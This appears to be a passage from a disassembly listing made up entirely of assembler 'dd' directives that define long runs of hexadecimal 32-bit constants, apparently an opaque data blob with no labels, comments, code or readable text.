		dd 9EFF0640h, 0B0B80Dh,	2D67BC45h, 6E98A1E5h, 450C762Ch
		dd 8DEF8300h, 3F0A0E0h,	0B23F366Ah, 8C84942h, 0F2005355h
		dd 0CD685B0Eh, 4CC7F423h, 60007B7Ch, 0AEADEC80h, 96009AA6h
		dd 13EF9E0Fh, 479B70h, 0CE039887h, 1A683365h, 7DC74207h
		dd 0CDB0C5ECh, 90B4BEB1h, 0EBAE07A8h, 1E1AF402h, 0F14FE00h
		dd 1D00FB8Dh, 5E395F9h,	0D896E0h, 0E206CC8Ah, 0F009B0B5h
		dd 11B8BD00h, 2382A3D6h, 7189F6DBh, 0D5AA1413h,	3000A496h
		dd 942F8B14h, 0AB00EA83h, 0FC18F40Dh, 0A7CC335h, 2975FAE9h
		dd 470038ACh, 8BBD8328h, 0AC71DBCBh, 0D5089800h, 0DA2BC8AFh
		dd 20B001h, 0E209E770h,	77805B94h, 0BF272F00h, 0FB6285E0h
		dd 0BCC1009Ch, 0EA565E38h, 7D00C6D3h, 8D0F20Bh,	4A90E801h
		dd 0ABA80017h, 0FF0F19F7h, 730F6A7Bh, 0C030D814h, 8F0AFC1h
		dd 0D4EB0199h, 5EA653D1h, 5CE840C4h, 582DFE59h,	74978FDh
		dd 87775D86h, 0B9CBA0D7h, 0DD0CEA7Dh, 21DCFB53h, 5CAD18EBh
		dd 74024128h, 0A243D83Dh, 60FB3A0Ch, 70E4F880h,	0D5A77DFDh
		dd 0E867A301h, 0C8140CE5h, 0A8FE2980h, 0FFD3C4DBh, 0CE1FD0EAh
		dd 9540A9A1h, 6F8B353Ch, 0C93F009Bh, 311E6CEAh,	603272Dh
		dd 0FA10311h, 793880A2h, 0C5AF004Ch, 0C17472E8h, 470782F4h
		dd 4E5601E7h, 8010A167h, 0F1506EDh, 0F976A3DAh,	0EB966340h
		dd 39718A90h, 0AD092C70h, 8225C8BAh, 50A3E690h,	0F06F0758h
		dd 0C06ECFE2h, 0F97CD5DCh, 859CD100h, 81A8CDD3h, 0B3B600E8h
		dd 0A25EC6FEh, 5C002749h, 482355A4h, 1957AAh, 1264AD4Eh
		dd 0E25B655Eh, 0DFB6D30Eh, 0D2BDC3A3h, 0D8C8029h, 220528FDh
		dd 13A224A8h, 95E1E00Ch, 3A1DB5A0h, 9FBB80EDh, 7A40E00Ch
		dd 7F097583h, 0E89057h,	58D26A72h, 0F5A42430h, 0E4ED7C0Eh
		dd 0E24A610Ch, 93C04564h, 97B101CEh, 0FA6A8D90h, 3A003414h
		dd 0F3BE0E1Ch, 4006CD3h, 0B3F14926h, 0C4772846h, 38250494h
		dd 1FAA79Ch, 72B33B8h, 355C8B10h, 6A0092F2h, 6D90393Fh
		dd 7990428h, 0AD082CB7h, 22076044h, 200A9A8h, 4B08AFDh
		dd 919F6F9h, 17F50313h,	0D1A7D420h, 0D5500DF7h,	0BF220794h
		dd 72D42621h, 26330727h, 0E3E9A02Eh, 25016851h,	5370421h
		dd 2C2820E1h, 1484B00h,	9C5846ECh, 75075401h, 222FEDDDh
		dd 80058032h, 0C7B6F5BDh, 663050A9h, 2B00046Eh,	51B4D463h
		dd 36675Dh, 90F955CFh, 10E82E77h, 1938AEF6h, 6F428058h
		dd 95DBCCC3h, 3B2B3BA3h, 0A8F80C04h, 966680C4h,	0FA187E0Bh
		dd 6A90B6D9h, 0C7F01D1h, 4CB13A22h, 0CDFC6444h,	8851B900h
		dd 215C1933h, 84F30F86h, 0E0E0B8ABh, 9F48EA29h,	0DBBC25h
		dd 0B795BE1Ch, 1C41CCAh, 13D2DCC1h, 0BF3020A8h,	0AB009D9Fh
		dd 3BBA54BEh, 7C60EFB7h, 6CFB0030h, 66F5A92Ch, 0C20FA62Ah
		dd 8BFC2875h, 0A1490F61h, 0F6D425E2h, 0A6E5F4h,	0BD2EF90Ah
		dd 0F86FFDE7h, 0DC31EB24h, 9D55EA07h, 2441663h,	3A327D10h
		dd 7C48D862h, 0DD0E5AABh, 130E0F1Eh, 602F0000h,	3E3D86F0h
		dd 0C580AD22h, 192C3E2Bh, 26793C16h, 5D561302h,	4037EA53h
		dd 0C6BBD8h, 2ABD8DD0h,	0F77C1B99h, 0C3B1A707h,	5EC1CECDh
		dd 9180E1E6h, 74D26268h, 893BEBF2h, 0C5330B7Bh,	756680BBh
		dd 0F7BDA738h, 867420h,	2D23838Ah, 0FC56665Ch, 20447800h
		dd 7B3FB0E0h, 6D993C82h, 1B0A0D80h, 25BD8BD2h, 0DAAC3702h
		dd 41B9926Fh, 88FC5D1Ch, 11546A2Fh, 0A25F0372h,	6792188Dh
		dd 0C0BF6077h, 0A70400C8h, 16FEF362h, 0A6008225h, 97A97F0Ch
		dd 0E1D7EDh, 3A91BCB8h,	727910FAh, 0ABC50205h, 3C801F7Eh
		dd 759347E0h, 9DAD00A6h, 0F401185h, 0FCA0D10Ah,	0A0003B29h
		dd 0A2CEDEB7h, 2E3A76E6h, 0FB6343h, 0C9AB70E3h,	7D2C4890h
		dd 6E002875h, 1CE41419h, 8968CE24h, 73EEBFA0h, 310082B3h
		dd 20E33E92h, 0FEF8D5F1h, 401F00B2h, 857B45EDh,	0BC485A0Dh
		dd 50820058h, 4665512Eh, 6F4B393Ch, 6CB43906h, 54000925h
		dd 24E5B542h, 779449AAh, 9C4F0F10h, 8A80BD18h, 83BEB7E2h
		dd 0F6A7DD02h, 0C09A499Bh, 40A08CACh, 0B2008866h, 0A7BF8506h
		dd 5E9B0Ah, 0FEFABE22h,	0BC0C6265h, 0DE86B300h,	0AD72499Eh
		dd 0A4DC132Ch, 81A00077h, 0EE9CECF1h, 70004F72h, 0C21DB261h
		dd 0B03CFEA9h, 42BE5A98h, 3647D9B4h, 41806CE8h,	72423312h
		dd 3567B0D0h, 96B00039h, 1CA8BF99h, 0B130DD2Dh,	0E41D305Fh
		dd 23E00E6h, 0D4338D4Ch, 5B0062A8h, 282F897Bh, 452A360h
		dd 45DBDF24h, 0E378E4C1h, 3D2E500h, 8B74CDFEh, 942D00DEh
		dd 2792416Ch, 0E60013C2h, 4A7AA74Ch, 5607E0h, 0B8DB0CA5h
		dd 975AA108h, 0FA222CC0h, 4E5D75C9h, 1D80328h, 4BF19B95h
		dd 0BCC196B8h, 575AECC0h, 398496A2h, 3778E55Ch,	0A628D889h
		dd 0D44A1070h, 20A76C0Dh
		dd 1C7901E9h, 9C5E1400h, 9B048C35h, 0B4F9211Dh,	57A0A32Fh
		dd 0B0FBFBF7h, 9E279578h, 243180A8h, 8B6CFF03h,	589B6803h
		dd 1FBF4F7h, 96BA4D61h,	803E3D3Bh, 0B836BF31h, 72D81176h
		dd 0C313004Ch, 0DC27EEAFh, 7D07EDF0h, 0FDFAB782h, 62D8CC01h
		dd 0FF543986h, 77019824h, 10A8B327h, 26D09795h,	0CA312D3Bh
		dd 0FF5E9000h, 230CFD3Eh, 187AC343h, 2F7B308Ah,	7D127749h
		dd 65A3FE18h, 0C0A2F7F9h, 827CBA48h, 5E0B687Bh,	0C1840930h
		dd 0D0697098h, 1A05363Ah, 0A47C89C1h, 0A260DA58h, 7A4F3408h
		dd 9E28C5F4h, 0F278F58Fh, 0D98604B5h, 2510B7D5h, 508294A1h
		dd 90A10C21h, 40C6BFD8h, 40C8599Ch, 0A13EF900h,	8C36AD34h
		dd 7B213224h, 0D6104329h, 17588942h, 1A87C530h,	91B101B5h
		dd 0F8B08314h, 0FC5CF41Ch, 4D901001h, 6A050BFBh, 0F4A007CCh
		dd 0AC0F0081h, 0A5F97D1Ch, 0F6177B16h, 0D00225B2h, 0C112B1ABh
		dd 0A4E09230h, 0BB0100CDh, 5CA88423h, 2E002780h, 2A287A16h
		dd 0B853703h, 3649B1F2h, 0CE066C80h, 0A72AEE82h, 1F0B849Ah
		dd 8014FF59h, 86B8B754h, 4FC00C4h, 5D31A4ADh, 0B607F392h
		dd 7BDCA752h, 903C0159h, 0A1CE8B14h, 335BA5C0h,	0E10FC24h
		dd 2F9B9C76h, 902C2482h, 8DC0CC60h, 87E93E00h, 618FD5AEh
		dd 0B666001Bh, 8EB551AAh, 30C67D8h, 48D239C6h, 82E4B94Fh
		dd 0A1BAEA11h, 3967103h, 5949CEF1h, 7EF8FA39h, 33B87BDh
		dd 0FD6904A6h, 5F81BAC7h, 0B040CC18h, 0B066E860h, 9D590068h
		dd 0F4A21A26h, 0E60078A5h, 0A972C20Eh, 0EA3266CAh, 0B6B23735h
		dd 67FD2351h, 0A04FC81Fh, 0A4186840h, 0F0798DBCh, 0FC593E73h
		dd 297EA880h, 8602EEACh, 230F957Bh, 67C61A03h, 0B210FCCEh
		dd 99B86EF5h, 305A0048h, 0B4FE6142h, 33814E1Fh,	0FC765Dh
		dd 0EB368A71h, 1D8E1FA4h, 80F7DAC3h, 0C0D64F7Eh, 4B154EEEh
		dd 2BC7A70h, 0A5087B47h, 18854068h, 487D0045h, 0A4E3C4B5h
		dd 0C2007704h, 42F7F434h, 16639F50h, 5CAD66A2h,	753C0EB0h
		dd 8492A51Dh, 4ED254C0h, 2A5DA503h, 0F847C4FDh,	1FF6423h
		dd 0FC7120AFh, 307F1CB4h, 0D30925E2h, 413FD0DBh, 72C05F5Ch
		dd 865E02C0h, 896CC66Bh, 0E3758560h, 71D8DD0Fh,	0EEA363F8h
		dd 0B95097D3h, 0D45937h, 0DA5833C5h, 9D5E2947h,	0EE225402h
		dd 0E0D24B95h, 9B3DFF7h, 98DAEDEBh, 825CFCA0h, 3A243575h
		dd 504380D8h, 0AD5ED0F5h, 0D3CF1222h, 0DD4C808Dh, 4092A8C4h
		dd 0FF5CB40Ch, 79C61855h, 0E68E2571h, 83EAF802h, 0CFA7A040h
		dd 0E004624Eh, 0B746DE22h, 463F50B9h, 0F7368045h, 6655D4E5h
		dd 49C6Dh, 14D37D70h, 0B8002711h, 9A637372h, 0DA865Ch
		dd 0C2BC1EB4h, 0A1FAD942h, 0A841AD0Fh, 6B3B62C7h, 8AC440F1h
		dd 48B7951h, 5F5C589h, 80601487h, 0EF499C0Ch, 6E182CFFh
		dd 14A407CEh, 18A04975h, 6722B20Dh, 0D4AF022Eh,	14C30464h
		dd 0CDA8F886h, 1469EC87h, 0B452E2E6h, 240A1C00h, 645D4C16h
		dd 0F21E5B18h, 11DE82h,	398DF6D7h, 0F0159894h, 477D8A00h
		dd 7E48C037h, 803E03E9h, 0FF2D8C64h, 2734AC80h,	3C4B5Ch
		dd 876099Eh, 3BDCA6A3h,	0F787D7CAh, 83A2C3h, 1D0636D2h
		dd 0E6F6B917h, 0E98C2A04h, 1F5E38C0h, 0ABAEA70h, 8B4AB6C3h
		dd 68FB01BCh, 6025203Ch, 57038A5Eh, 643AC745h, 1AA0123Eh
		dd 0D830808Ch, 0DD12D3A1h, 0EE004AEBh, 81AC49F1h, 5C9E1DFFh
		dd 0FB74403Bh, 1C66630Fh, 0DEEF091Fh, 0DF823FC0h, 3C0E3BC1h
		dd 8A00658Eh, 0B8A9CB93h, 18001C7Ch, 1F0783D1h,	5899D0h
		dd 0CF02FED8h, 889D7B0Dh, 0C2293003h, 0C8C8902Fh, 3CA45F3Ah
		dd 430093C5h, 0B9AD9AE8h, 0D1F485B3h, 0FD598C00h, 9C3C3BDEh
		dd 244E00E9h, 3D2616B1h, 860FD719h, 0A08D7E77h,	3008B7B0h
		dd 7CF90FB4h, 196049EDh, 9BF064D4h, 0FAE0C119h,	0CCD4B518h
		dd 5FC0009Dh, 382E89D0h, 41035105h, 0A64CE5B9h,	0F8459A73h
		dd 0DAEF0464h, 817BC21Fh, 34058878h, 79290824h,	3F13D80Ah
		dd 0BB616C18h, 0A92450C2h, 0E8E74D62h, 19459A00h, 58CD0AE0h
		dd 41009DE0h, 0C54922Bh, 1E7ADE25h, 0C1126CA8h,	0D13617F9h
		dd 5D73D403h, 0B6D33Dh,	0E58E3947h, 0C09083DAh,	702CA599h
		dd 3C00AFDFh, 3BA9ED76h, 98E877h, 9FF03F9Bh, 13035430h
		dd 0FC1793Ch, 80C3D34Fh, 2CBDBB7h, 70D149BEh, 0C1BFCC01h
		dd 306A5CC0h, 0CA135E60h, 944267D9h, 40DF459Bh,	0BF6B1Ch
		dd 2DBA9592h, 708A7FECh, 0A142C400h, 11721596h,	0DDA70E9Eh
		dd 1DC18FF1h, 2091D7A4h, 4902E70h, 60962430h, 3F6E67F6h
		dd 36A8C541h, 3F87FA84h, 3881BB8Ah, 0C96C978Eh,	31E98174h
		dd 2763F0A8h, 0F161E730h, 1F182439h, 0F4BC08FCh, 1DA76701h
		dd 0E8D45C5Dh, 0DB7064DDh, 0DA66006Fh, 0C57379EEh, 2D0C6B55h
		dd 885FA5DDh, 0BD630382h, 41219F7h, 0F54582F7h,	2A9F1456h
		dd 948B2392h, 43D413B3h, 0A3709B6Dh, 48099FD6h,	3E9DF774h
		dd 9581BBFBh, 94E0BA53h, 3B99D0C0h, 5444304Ah, 0B0A4A1B1h
		dd 21031C02h, 98BDDB0h,	0C07A9CF9h, 0D8197802h,	0F07F8FEDh
		dd 0B0D606FCh, 21490D20h, 35D8210Fh, 53805FFBh,	64F96EC0h
		dd 0BF6D079Bh, 806A49BCh, 406847ABh, 7B784E00h,	0DEE5474h
		dd 7A5200D8h, 0ABBA7501h, 3B71AD21h, 0D74050A2h, 3417F46Bh
		dd 5C00E253h, 0D06F1ECCh, 7DFF0175h, 79F0E138h,	82A8287Bh
		dd 2022D7C1h, 0D1A8027Ch, 25F9C30Fh, 4BFA0ADh, 70AB8Eh
		dd 13E99434h, 165530FEh, 0DC4DF109h, 5E7006FAh,	74285840h
		dd 0B2009E58h, 0E5E08BA1h, 270F5763h, 85FE0493h, 0B84069DAh
		dd 32BD9637h, 3EFD000Ch, 8B9390E4h, 3B3C15DBh, 9DFA1E23h
		dd 0CAE8BE0Ah, 4DC1EF00h, 1F93A79h, 8F7C2F5h, 29BDFE4Fh
		dd 0A3AC13D8h, 0A7531020h, 0C8FE43h, 3BE91E01h,	0C05E6EF4h
		dd 3C190300h, 0F959993Ah, 88E33FAh, 838224E0h, 1D89ECA9h
		dd 520110D9h, 9BC13186h, 46FD8881h, 0DC7AFC78h,	33F4BE49h
		dd 5CF64341h, 0D8AD86DCh, 31C4139h, 940569Dh, 529E138Ah
		dd 50BA0363h, 29F7DE94h, 6DAA4097h, 0CC00C2FAh,	0DB206793h
		dd 1FB0860Ch, 0FA87C3Dh, 88E1AD97h, 0E4A66B31h,	0B9073C43h
		dd 0C79C56DEh, 0A4972720h, 0F47918CCh, 2883068h, 3D8FD807h
		dd 71BD5C46h, 0DC0497F2h, 0E3AA9801h, 0BEE1B937h, 823C1880h
		dd 639E6225h, 997F9F00h, 0C4A6FEDDh, 0B95D00D1h, 509AAD57h
		dd 27643A3Dh, 1621D329h, 107B12C2h, 0F7893268h,	0C3448F08h
		dd 2A22840Fh, 11EB4234h, 1321D130h, 42E2151Eh, 0CD8E110Fh
		dd 0DF082721h, 84039039h, 0CB4438F9h, 37F544AEh, 444F2748h
		dd 0DF08C43Fh, 2402A842h, 0E4EF235Bh, 6E47E348h, 3F0861C4h
		dd 90681C47h, 0FC119DF7h, 0E1087321h, 649B943Ch, 4428E428h
		dd 8A1D3797h, 0EE0EA09Bh, 0F4FDC084h, 0E406918Bh, 128E00F8h
		dd 8781FF02h, 850E07A0h, 8004C55Ah, 8F10C156h, 76530F20h
		dd 7A02574h, 0FB4622BAh, 3887C500h, 69BC2A1Dh, 0D0CB3D08h
		dd 929A3C00h, 0D91C5520h, 0BD23F400h, 38CD85FEh, 42CF01BBh
		dd 0CA790EB2h, 0AE64F882h, 0BC534A0Eh, 2B6EE00Dh, 0D4544Dh
		dd 32C22A85h, 1B8FF99Fh, 0CAE25118h, 36C0231h, 0B3D2B826h
		dd 41E89019h, 2A00F7A1h, 1DA2CE1Eh, 0E73B1285h,	3A463D4h
		dd 4BFC15BBh, 0AF82BB7h, 68924DF7h, 52FB91Ch, 2C282598h
		dd 5D043901h, 2A4C1400h, 8FCD4924h, 0CCB0E200h,	7106AA62h
		dd 224B073Bh, 70A23D96h
		dd 30747A34h, 6E88420Bh, 66780F2h, 95B13E3h, 95A99E33h
		dd 0B8B19C00h, 880015B6h, 0CE778FFBh, 77662E6h,	5AECC26h
		dd 7CE70036h, 4807C0E8h, 0AA130DA4h, 961CABB0h,	8906001Dh
		dd 5D2C6FD8h, 4200EA0Fh, 285ABF19h, 1376A66h, 0C7CDCA60h
		dd 302F34C5h, 0FA73BCD5h, 0C3AE6500h, 24905BCEh, 0BE1B3ED5h
		dd 10BBED80h, 1AB7017Fh, 0E40258E8h, 35D045D8h,	8B264087h
		dd 5F4D0ED1h, 22602988h, 0B0AB6877h, 830182E8h,	52A1E20Ch
		dd 9CDC9D6Eh, 0B150F6Bh, 3B40724Bh, 9F8920D2h, 76979800h
		dd 139B014Eh, 15D60067h, 178FCC6Fh, 7800CB7Ah, 835C7E0Dh
		dd 0F4FAB4D3h, 0CC745115h, 0B832B700h, 3D4600CFh, 244DD5C2h
		dd 6900A2A9h, 5A9EA523h, 31FAC16h, 0E6BDBE77h, 0F2A0BC1Dh
		dd 0A705A819h, 0ACAE2BF4h, 62CFAB87h, 40F9EEFAh, 3B59058h
		dd 46DBBE2h, 34D831B7h,	0B4717C64h, 0D0BAA300h,	5183AE58h
		dd 935700DAh, 12A47AD2h, 590E986Bh, 49724044h, 60180E09h
		dd 69D54B17h, 0EDEB007Ah, 72067FEFh, 0F70042E0h, 6C04A236h
		dd 13AA1FC2h, 498D02E9h, 982030A4h, 568C1C73h, 8AD7FD1Fh
		dd 8B643A00h, 50D6AB95h, 619F817h, 0E29A204Eh, 0B4041018h
		dd 1F6253DFh, 0E47B8480h, 68EE00A7h, 5C87A148h,	0D53B934Dh
		dd 6F31E0ECh, 636021h, 9C1EBBFAh, 0A410DB4Dh, 0B19B5506h
		dd 0FED8D036h, 0FB6200AEh, 0F1C06C53h, 2C004567h, 4DAA96A1h
		dd 49D630h, 99CB84D5h, 0F5E12F97h, 5AD9A600h, 0C6E110Dh
		dd 51763947h, 0E2DAB180h, 5591DF65h, 0E7AF6700h, 1CF4054Dh
		dd 0C9A11F12h, 3C0CC051h, 919A5D84h, 49BA100Ah,	2C008C7Ch
		dd 0A0F8375Eh, 0F23E009Ch, 0FECB998Ah, 0CA677B83h, 0FB806208h
		dd 0B37C20h, 0B6234E91h, 0BE2B33F7h, 2541FD00h,	343EE6C0h
		dd 0EE38E6B0h, 6E9E0078h, 81AEA9CFh, 8D5CE073h,	3C3B7E91h
		dd 7E4600D2h, 131DC46Dh, 96C824D8h, 0A9EB00D4h,	54CDB37h
		dd 9324AB00h, 8F074FE7h, 0C6690011h, 2F354EC9h,	6C5CF736h
		dd 8DB705AEh, 0A800168Ah, 0AEB3996h, 887F002Ah,	0BD4E4350h
		dd 4B7A69E3h, 160F9300h, 0D33F8587h, 2F6B1E5Bh,	0C6B10051h
		dd 8CFE5765h, 1E6CAD00h, 1361B018h, 0A217008Eh,	0F2F56F98h
		dd 6A0001DEh, 71F83D27h, 7DD25CE7h, 0FCD400DDh,	58ECE666h
		dd 0D500F480h, 0DB211C61h, 0ED26BA7h, 39283096h, 6E9A10C0h
		dd 9D24BA3Ah, 41EB872h,	7908B40h, 77F4FEh, 82FC050Dh, 7EE8A116h
		dd 0EF92E203h, 0F8AF9771h, 74552A75h, 51262C74h, 63300046h
		dd 6A356469h, 32AA7704h, 0B880ECB6h, 269A0CC8h,	7A30D5h
		dd 0E52C96F2h, 0BD00466Bh, 51DD8136h, 5D1819h, 0F331E17Fh
		dd 0E080CC68h, 8BF26673h, 0D54F9D05h, 0D80006CFh, 0A31E05B1h
		dd 0E6CB0446h, 0C0685470h, 0E2C84E88h, 7F002FF4h, 7D9195B8h
		dd 0E35AFh, 3099BA63h, 698D0579h, 8CA84301h, 5E5065D5h
		dd 18ECA421h, 312A007Fh, 9F55FC68h, 0B900CF58h,	6619F4F0h
		dd 98E5C3Ch, 4AABA127h,	4067800Eh, 0B556906Eh, 0D33CCC06h
		dd 0CE0FF6C1h, 20D13B46h, 2870FF9Bh, 0BADE12F4h, 0BC700079h
		dd 0AF08A712h, 21FB5E4h, 7A40A19h, 709EC18h, 2F0C00BBh
		dd 0DE2123EBh, 0C6F426D3h, 0D2EDB0Ah, 7603A4C4h, 20A0CDh
		dd 9F064CF2h, 3E193F6Eh, 0E46F8100h, 0ECB36449h, 8A041689h
		dd 616020E7h, 700007A9h, 4C574E3Ah, 1FC1A1D8h, 808CC874h
		dd 99B7C3AAh, 0DB011D24h, 33A7064Eh, 0B7FFA47Bh, 4C6E47A0h
		dd 0C56700C0h, 97B16075h, 265837A1h, 320300D1h,	58A33987h
		dd 0FDA200BEh, 0D00A9C3Ch, 4D00A638h, 53B110ABh, 324CDh
		dd 98852605h, 0F67FA913h, 453AED76h, 57F2836Fh,	0E12BAA7Ch
		dd 0C160DC8Ch, 9CB34C31h, 925528h, 15D24684h, 16D1510Ah
		dd 0B14C0D18h, 0E3CE09h, 8BB0C708h, 92F97776h, 3E737E58h
		dd 0FF7A009Bh, 0EA651594h, 7BC70086h, 0A4564D3Ah, 57758983h
		dd 63EEFE00h, 9022C3CCh, 0F6B90051h, 342B3C32h,	433BA0E0h
		dd 0A4B5804Ch, 19EED80Ch, 9898F2CDh, 5C3B0048h,	97C79225h
		dd 0F079F316h, 850D70F5h, 8B000F70h, 37DEF687h,	9BBAE1h
		dd 3A77F541h, 8031E353h, 0C3C85E00h, 0C9CD3A1h,	986C3AEFh
		dd 3883BD83h, 0AAC02013h, 300072E7h, 1F5B9602h,	74A0E2B0h
		dd 0C1DC000Bh, 0E076D46Bh, 90000564h, 1044AEE3h, 92C9F7h
		dd 475D9F86h, 0D22A6E4Bh, 72F1BE00h, 84992E9Bh,	327609B9h
		dd 2BF81D51h, 19F812E4h, 60E8CA00h, 0D7C969D8h,	0F29C0026h
		dd 5BDFF17Bh, 0F006E7Dh, 4AEE9905h, 0B88510h, 0EFD0370Dh
		dd 68F938A8h, 0F8012C98h, 0C3C9C7BEh, 0ABCFD1BAh, 0C6CEF8B1h
		dd 0C13F125Dh, 0C09800DAh, 0B94A6B53h, 0FC11EA3Bh, 0BB00E8B2h
		dd 0A8BA17F0h, 7CB81EF9h, 0EDFA26FEh, 0B994022Ch, 0A4C0BBD6h
		dd 0A300E966h, 359A274Eh, 0EC383F1h, 2D370942h,	0AF4C120h
		dd 0BE0066C4h, 5D15CE79h, 1E0E184h, 51C0B8A5h, 30119FA9h
		dd 0BF003C38h, 0FC8F361Dh, 434D1Eh, 0E12308B4h,	81C3BD53h
		dd 0F5C80100h, 985F6897h, 589201EEh, 457DED4Ah,	84F080A1h
		dd 3C231A77h, 3B880063h, 9B9AA536h, 0D91DFBA0h,	49C0503Eh
		dd 0A4E6E87Dh, 0DDEB0024h, 0DA8FF474h, 2E01CE82h, 36E4A725h
		dd 93C45B65h, 31C20F3Eh, 0FC80EC94h, 0AA753343h, 0A4F64E1Fh
		dd 2071CE41h, 0E060B561h, 81B31C52h, 0F8704F78h, 3B933E0h
		dd 0BB00F5ACh, 0D07C0B14h, 810FEAh, 9968C6D5h, 62645150h
		dd 94822914h, 1F9C00FCh, 0B58431CDh, 8DE402E5h,	6C0FA07Dh
		dd 7215CB40h, 1C8B850Eh, 20AFE779h, 2B9890F0h, 0BD0F0388h
		dd 0DB587493h, 0DF5C0805h, 0D1167A97h, 0F06D5107h, 9FC0C1C5h
		dd 2EEE9419h, 7B68D56h,	929E70E7h, 0D8A05995h, 6A9DFBCEh
		dd 83994C3Ch, 69AE5690h, 0FF829886h, 0E21100D1h, 0B35AE0D2h
		dd 5100FEA9h, 742C4B78h, 0E2DA1339h, 6C60123Eh,	7D9305AEh
		dd 0C080AECDh, 908F6188h, 0EC890725h, 52076Ch, 4EA09E33h
		dd 0BAE4A800h, 8B3215A5h, 8E2B0h, 6CBE049Fh, 71B834DDh
		dd 0BD3A5600h, 0FDA94BE5h, 0CBBA0044h, 401EDEEAh, 891DE894h
		dd 0D8509BEh, 0F4C7281Ch, 44372117h, 0F4B05407h, 39135AD6h
		dd 0A54CDCFAh, 0AFED7C07h, 5082C053h, 0C7006145h, 0AFE8DFBh
		dd 92A07A74h, 17A60A50h, 0BB8965h, 2CBA958Bh, 0BB00967Ch
		dd 0B10697A1h, 0F111C6FCh, 0F15CBC0h, 17CD02C1h, 80D20745h
		dd 0C0F1FFEFh, 137D0C0h, 2458C8Eh, 0CBD39B2Ah, 0BD60631Fh
		dd 150095D7h, 0EF1B2F76h, 0A1337136h, 74E485A8h, 0C83000D8h
		dd 0DE3C0E47h, 0A300CC7Ch, 0D4A6E1FAh, 3E7EF5E7h, 349DD1DBh
		dd 0B370C093h, 0FA90AFF4h, 0F6262EB8h, 0BE0F1DCCh, 0EE12C142h
		dd 0CCC9371h, 0A1FF0CD2h, 9C10725Eh, 78BA6200h,	7B6321CDh
		dd 1B60FF0h, 3A433017h,	0D888D42Ah, 6B2223CEh, 49350044h
		dd 0F539E150h, 0E9E8E022h, 26B24502h, 80E53029h, 0EDA314A8h
		dd 3CD90097h, 427B3288h, 4BF4B735h, 0FC287900h,	97EAEE87h
		dd 4FA10057h, 94DF591h,	0B6B0A55Dh, 9D7B8480h, 0A301B90Ch
		dd 60109Eh, 546DE42Fh, 947892F0h, 9CCE2924h, 0AB382104h
		dd 0D15F6890h, 0CB771F22h, 0FE6C84E7h, 9291C382h, 0D40F64B1h
		dd 487EC989h, 16DA2E00h, 0BC3D7E80h, 9A780E83h,	3480760Bh
		dd 72D7EAB7h, 8B5EC200h, 2630A79Fh, 0A8600947h,	6C806B4Eh
		dd 276A79CBh, 600D6E6h,	0AE9B2C53h, 79C07DF0h, 1D5F003Fh
		dd 21FCE28Eh
		dd 34CE793h, 13832C14h,	7829B500h, 774EBDEh, 79F2E4D1h
		dd 829A306Fh, 1F2651AFh, 7D0074F4h, 70F6FBD0h, 0E5FC0006h
		dd 297B3066h, 0CA0FAC5Eh, 80CF0888h, 9DA8170Fh,	3BD805BEh
		dd 715516h, 95582BB2h, 310360B2h, 9B0835EBh, 9F8F88Ah
		dd 8CC70089h, 3210B7F1h, 7E0C51B5h, 1888E121h, 0D3EA1Ah
		dd 717BF4E6h, 0F19A885h, 0B7282202h, 0E1CCBFACh, 0ABC4436Eh
		dd 5C390031h, 0FACDD47Ch, 0D09262F6h, 0CCB3BC04h, 0F6C322BDh
		dd 6B5EF0AAh, 645000F4h, 0E6F0FB70h, 0A01DA959h, 7870BF42h
		dd 15C033Ch, 0B3FA991Ah, 0C3DE9096h, 33053EF8h,	80D0D53Fh
		dd 286182B2h, 0CF7B85h,	0B759116h, 240AE96Dh, 0A5C2DD1Ch
		dd 475B01BFh, 0E6031C63h, 0B7BBC8h, 403A9F82h, 0CDC82997h
		dd 0FDAAE400h, 0EC811019h, 0EAE800F2h, 563C04FCh, 3E06832Ah
		dd 4FA75DC1h, 0F3440090h, 0F7539A37h, 0B306DA3Fh, 100759A8h
		dd 0AE6401B0h, 0F2BD755Ch, 87473042h, 8C28A900h, 348A67B9h
		dd 9E09015Dh, 0CF8DDF95h, 0C447F532h, 3900769Bh, 2086814Ch
		dd 0D0B662h, 0DAB868F5h, 7C5A0A98h, 4EE4730Eh, 67D440DEh
		dd 0FF44971h, 0EBD1B0BAh, 0FB043581h, 9F4BF484h, 20385814h
		dd 1AF600A4h, 0B5F7DD8Ch, 9C921227h, 77D3045Ah,	632580DBh
		dd 1A0C5337h, 68099873h, 561B003Bh, 0F30DFC59h,	0ED039CC7h
		dd 0F4A8FEB3h, 26701D57h, 0CC03DF6Eh, 9FC05078h, 663B9700h
		dd 919BE088h, 34850058h, 0A5FDD356h, 6BE43EEBh,	454FEF0Eh
		dd 0A98E6023h, 0FB9054h, 177B2705h, 223DCEF1h, 0B8C2600h
		dd 0E9DBC86Ch, 7C680072h, 0B8091388h, 3F0020E4h, 0F9CC31EDh
		dd 1D546C9Bh, 1D8D96CAh, 0F083FC46h, 2FD0F2C4h,	0C60FE92h
		dd 2E01BCF4h, 0D8589A7Ch, 0FDF88438h, 53360025h, 0B7972947h
		dd 0A501C50Ch, 6270A98Ch, 6AD10121h, 51F360h, 0F0EA9D2Ah
		dd 9E3DBE83h, 0D7997700h, 62E289F7h, 377F262Ch,	0E6748240h
		dd 24405236h, 0AD1EEFCFh, 7393F42Dh, 0B27FC07h,	0F3E0EE20h
		dd 74770FFEh, 0E160C344h, 4067CB69h, 4C649C26h,	84F6E902h
		dd 0CC50C01Ah, 880401E3h, 0AA480A24h, 4BADECFBh, 7F70AC00h
		dd 2A7C31BEh, 85CC1E6Bh, 3A0C80C5h, 0D9E4534Dh,	9750FA04h
		dd 9CC06610h, 13A48B69h, 7C62ECh, 14F8D75Ch, 6A00545Bh
		dd 3A10D186h, 3C496FBh,	0F333BBBAh, 4C98D2B6h, 4A001CEFh
		dd 0A6E00345h, 0EEE59BF1h, 0BF162673h, 800D1D93h, 12F50C2Ch
		dd 6100CAD8h, 8013DB6Eh, 0FF5BFAh, 0CB653D20h, 0B1C57D28h
		dd 0ED166EFAh, 88403816h, 5B2D910Eh, 0C0CFEAFDh, 0A7B4EE68h
		dd 5007C7BAh, 832E699h,	0FA391D50h, 0B81150B0h,	9563019Fh
		dd 9B59AA60h, 0A058F066h, 7AB56B18h, 0A15F09h, 97B2A6Ch
		dd 14A37D59h, 0AB856300h, 0AD876D1Ch, 8C72001Eh, 83AA0EB2h
		dd 0EB000D46h, 3A07177Dh, 7C36C9F8h, 0B07E7CF1h, 564F02C0h
		dd 0B89BB4D5h, 0A301DCC6h, 0A06C4345h, 60F2B9FAh, 4CC98Ch
